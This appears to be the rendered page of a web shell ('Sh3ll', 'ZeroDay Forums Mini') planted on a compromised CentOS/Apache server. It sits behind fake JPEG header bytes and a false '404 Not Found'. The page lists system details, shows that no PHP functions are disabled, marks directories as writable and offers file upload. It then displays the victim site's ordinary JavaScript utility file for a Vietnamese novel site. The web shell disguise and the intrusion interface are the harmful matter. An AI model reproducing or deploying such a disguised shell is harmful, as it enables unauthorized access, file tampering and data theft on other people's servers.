����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/layout/novel/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/lnovel/layout/novel/js/js-utils.js
var Utils = function(){
    return {
        strtotime: function(date){
            return Utils.date2time(date).getTime();
        },
        date2time: function(date){
            if(!date) return new Date(1970,0,1,0,0,0);
            date = date.split(' ');
            var ds = date[0].split('-');
            if(date.length==2)
                var hs = date[1].split(':');
            else var hs = ['00','00','00']
            return new Date(ds[0],parseInt(ds[1])-1,ds[2],hs[0],hs[1],hs[2]);
        },
        leadingZero: function(num){
            num = parseInt(num);
            return (num < 10 ? '0' : '') + num;
        },
        formatDate: function(date,format){
            if(typeof date == 'string') date = this.date2time(date);
            format = format.replace(/H/g,Utils.leadingZero(date.getHours()));
            format = format.replace(/\i/g,Utils.leadingZero(date.getMinutes()));
            format = format.replace(/s/g,Utils.leadingZero(date.getSeconds()));
            format = format.replace(/d/g,Utils.leadingZero(date.getDate()));
            format = format.replace(/m/g,Utils.leadingZero(parseInt(date.getMonth())+1));
            format = format.replace(/Y/g,Utils.leadingZero(date.getFullYear()));
            return format;
        },
        storyLink: function(item){
            return location.origin+'/'+item.alias+'.'+item.storyID+'/'
        },
        genreLink: function(item){
            return location.origin+'/'+item.slug+'/';
        },
        chapterNo: function(item){
            var name = langs.chapNo.replace('%d',item.chapNo);
            if(item.bookNo) name = langs.bookNo.replace('%d',item.bookNo)+' - '+name;
            return name;
        },
        chapter_fullname: function(item){
            var name = Utils.chapterNo(item);
            if(!item.name) return name;
            return name+': '+item.name;
        },
        comicChapterLink: function(comic,item,language){
            var chapterKeywords = {
                vi: {
                    chapter: 'chuong',
                    book: 'quyen'
                }
            };
            if(typeof language=='undefined') language = document.documentElement.lang;
            if(typeof chapterKeywords[language]=="undefined") return location.origin+'/comic/'+comic.comicID+'/'+item.chapterID+'.html';
            var alias = chapterKeywords[language].chapter+'-'+item.chapNo;
            if(item.bookNo) alias = chapterKeywords[language].book+'-'+item.bookNo+'-'+alias;
            return location.origin+'/'+comic.alias+'.c'+comic.comicID+'/'+alias+'.html';
        },
        chapterLink: function(story,item,language){
            var chapterKeywords = {
                vi: {
                    chapter: 'chuong',
                    book: 'quyen'
                }
            };
            if(typeof language=='undefined') language = document.documentElement.lang;
            if(typeof chapterKeywords[language]=="undefined") return location.origin+'/chapter/'+story.storyID+'/'+item.chapterID+'.html';
            var alias = chapterKeywords[language].chapter+'-'+item.chapNo;
            if(item.bookNo) alias = chapterKeywords[language].book+'-'+item.bookNo+'-'+alias;
            return location.origin+'/'+story.alias+'.'+story.storyID+'/'+alias+'.html';
        },
        profileLink: function(userData){return location.origin+'/profile/'+userData.userID+'/';},
        authorLink: function(id){return location.origin+'/author/'+id+'/';},
        userAvatar: function(userData){
            if(!userData.avatar) return cdnUrl+'/avatars/avatar.png';
            return cdnUrl+'/avatars/'+Math.floor(userData.userID/2000)+'/'+userData.userID+userData.avatar+'.webp';
        },
        number_format: function(number, decimals, dec_point, thousands_sep) {
            number = (number + '')
                .replace(/[^0-9+\-Ee.]/g, '');
            var n = !isFinite(+number) ? 0 : +number,
                prec = !isFinite(+decimals) ? 0 : Math.abs(decimals),
                sep = (typeof thousands_sep === 'undefined') ? ',' : thousands_sep,
                dec = (typeof dec_point === 'undefined') ? '.' : dec_point,
                s = '',
                toFixedFix = function(n, prec) {
                    var k = Math.pow(10, prec);
                    return '' + (Math.round(n * k) / k)
                        .toFixed(prec);
                };
            // Fix for IE parseFloat(0.55).toFixed(0) = 0;
            s = (prec ? toFixedFix(n, prec) : '' + Math.round(n))
                .split('.');
            if (s[0].length > 3) {
                s[0] = s[0].replace(/\B(?=(?:\d{3})+(?!\d))/g, sep);
            }
            if ((s[1] || '')
                .length < prec) {
                s[1] = s[1] || '';
                s[1] += new Array(prec - s[1].length + 1)
                    .join('0');
            }
            return s.join(dec);
        },
        parseUser: function(){
            var jwtData = getCookie(jwtKey);
            if(jwtData=='') return false;
            jwtData = jwtData.split('.');
            if(jwtData.length!=3) return false;
            var uData = JSON.parse(atob(jwtData[1]));
            if(uData.expired<=(new Date()).getTime()/1000) return false;
            return uData.data;
        },
        thumbnail: function(item,size){var size=size.split('x');return '<img src="'+cdnUrl+'/covers/'+Math.floor(item.storyID/1000).toString()+'/'+item.storyID+'-'+item.alias+'-'+size.join('x')+'.'+(isSuportWebp?'webp':'jpg')+'" width="'+size[0]+'" height="'+size[1]+'" alt="'+item.alias+'"/>';},
        story_genres: function(item,jointer){
            var gs = item.genres.split(',');
            var str = [];
            for(var i=0;i<gs.length;i++){
                if(typeof genres[gs[i]] != "undefined") str.push(genres[gs[i]].name);
            }
            return str.join(jointer);
        },
        schedule_desc: function(schedule){
            if(!schedule) return '';
            return schedule.replace('%y',langs.time.year).replace('%d',langs.time.day).replace('%w',langs.time.week).replace('%m',langs.time.month).replace('%c',langs.chapters).replace('/',' một ');
        },
        getParams: function(){
            var queryString = window.location.search;
            if(!queryString) return false;
            queryString = queryString.substr(1);
            var tmps = queryString.split('&');
            var params = {},tmp;
            for(var i=0;i<tmps.length;i++){
                tmp = tmps[i].split('=');
                params[tmp[0]] = tmp[1];
            }
            return params;
        },
        default_date_format: function(lang,f){
            var formats = {
                vi_js: 'dd/mm/yyyy',
                vi_php: 'd/m/Y'
            }
            return formats[lang+'_'+f];
        },
        default_datetime_format: function(lang,f){
            var formats = {
                vi_js: 'H:i:s dd/mm/yyyy',
                vi_php: 'H:i:s d/m/Y'
            }
            return formats[lang+'_'+f];
        },
        genre_fullname: function(genre){
            if(genre.name.indexOf(langs.genre_prefix)==0) return genre.name;
            return langs.genre_prefix+' '+genre.name;
        },
        nl2br: function(content){
            var breakTag = '<br />';
            var replaceStr = '$1'+ breakTag;
            return (content + '').replace(/([^>\r\n]?)(\r\n|\n\r|\r|\n)/g, replaceStr);
        },
        ago: function(dateString){
            var t;
            if(typeof dateString == "number") t = dateString;
            else t = parseInt(Utils.strtotime(dateString))/1000;
            var d = Math.round((new Date()).getTime()/1000) - t;
            if(d<60) return langs.time.second_ago;
            if(d<3600) return langs.time.minute_ago.replace('%d',Math.floor(d/60));
            if(d<3600*24) return langs.time.hour_ago.replace('%d',Math.floor(d/3600));
            if(d<3600*24*30) return langs.time.day_ago.replace('%d',Math.floor(d/(3600*24)));
            return langs.time.month_ago;
        },
        pagination: function(total,numperpage,paged,url_format,first_url,num){
            numperpage = typeof numperpage !== "undefined"? numperpage:25;
            paged = typeof paged !== "undefined" ? parseInt(paged): 1;
            num = typeof num!=='undefined'?num:3;
            if(total<=numperpage) return '';
            var numofpage = Math.ceil(total/numperpage);
            var str = '<li class="active"><a href="#" rel="nofollow">'+paged+'</a></li>';
            for(var i=1;i<=num;i++){
                if(paged-i>0){
                    if(paged-i==1) str = '<li><a href="'+first_url+'">1</a></li>'+str;
                    else str = '<li><a href="'+url_format.replace('%d',paged-1)+'">'+(paged-i)+'</a></li>'+str;
                }
                if(paged+i<=numofpage){
                    str += '<li><a href="'+url_format.replace('%d',paged+i)+'">'+(paged+i)+'</a></li>';
                }
            }
            if(paged-num-1>0){
                str = '<li><a href="'+first_url+'">1</a></li><li class="dot"><span>...</span></li>'+str;
            }
            if(paged+num<numofpage){
                str += '<li class="dot"><span>...</span></li><li><a href="'+url_format.replace('%d',numofpage)+'">'+numofpage+'</a></li>';
            }
            if(paged>1){
                if(paged-1==1)
                    str = '<li><a href="'+first_url+'" title="Trang trước"><i class="fas fa-angle-left"></i></a></li>'+str;
                else
                    str = '<li><a href="'+url_format.replace('%d',paged-1)+'" title="Trang trước"><i class="fas fa-angle-left"></i></a></li>'+str;
            }
            if(paged<numofpage){
                str += '<li><a href="'+url_format.replace('%d',paged+1)+'" title="Trang sau"><i class="fas fa-angle-right"></i></a></li>';
            }
            return str;
        },
        htmlEntities: function (str) {
            return String(str).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
        }
    }
}();

ZeroDay Forums Mini